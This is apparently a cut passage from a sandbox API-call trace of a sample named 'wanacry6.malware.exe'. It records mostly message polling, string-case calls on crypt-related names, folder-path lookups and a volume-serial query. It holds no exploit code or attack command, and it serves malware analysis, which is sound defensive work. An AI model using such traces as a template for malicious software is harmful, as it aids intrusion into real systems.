0x1b [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.056] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0045.056] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.057] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.057] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.058] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.058] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0045.058] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.058] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.058] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xe0d659eaa0 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0045.058] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0045.059] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.059] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xe0d659eaa0 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0045.059] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0045.060] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.060] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xe0d659eaa0 | out: pszPath="C:\\Program Files") returned 0x0 [0045.060] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0045.060] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.060] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0045.061] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.062] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0045.062] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.062] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xe0d658f280, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0045.062] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.063] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.063] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0045.063] PeekMessageW (in: lpMsg=0xe0d659edb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659edb0) returned 0 [0045.063] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0045.063] PeekMessageW (in: lpMsg=0xe0d659edb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659edb0) returned 0 [0045.063] SetErrorMode (uMode=0x1) returned 0x0 [0045.063] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xe0d658f2c0, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xe0d659f2e8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xe0d659f2e8*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.064] GetLastError () returned 0x3f0 [0045.064] SetLastError (dwErrCode=0x3f0) [0045.064] GetLastError () returned 0x3f0 [0045.064] SetLastError (dwErrCode=0x3f0) [0045.064] SetErrorMode (uMode=0x0) returned 0x1 [0045.064] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.064] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.066] QueryPerformanceCounter (in: lpPerformanceCount=0xe0d659f2e8 | out: lpPerformanceCount=0xe0d659f2e8*=311550354) returned 1 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.066] QueryPerformanceCounter (in: lpPerformanceCount=0xe0d659f2e8 | out: lpPerformanceCount=0xe0d659f2e8*=311551015) returned 1 [0045.066] QueryPerformanceFrequency (in: lpFrequency=0xe0d659f260 | out: lpFrequency=0xe0d659f260) returned 1 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.066] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.066] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.066] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.067] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.068] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.069] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.070] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.071] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.072] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: 